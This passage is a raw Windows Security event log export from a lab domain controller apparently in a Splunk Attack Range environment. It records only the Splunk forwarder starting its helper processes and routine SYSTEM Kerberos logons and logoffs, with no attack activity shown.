	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:13:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256321
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:13:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256322
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:13:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256323
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:13:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256326
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E888C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:13:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256325
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E888C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51442

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:13:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256324
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E888C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:14:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256327
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:14:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256329
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x444
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:14:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256328
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:14:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256330
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:14:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256331
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:14:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256332
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:14:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256333
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:14:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256336
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3EBE34

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:14:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256335
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3EBE34
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51455

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:14:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256334
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3EBE34

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:15:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256337
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:15:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256339
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:15:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256338
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1380
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:15:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256340
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:15:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256341
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x240
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

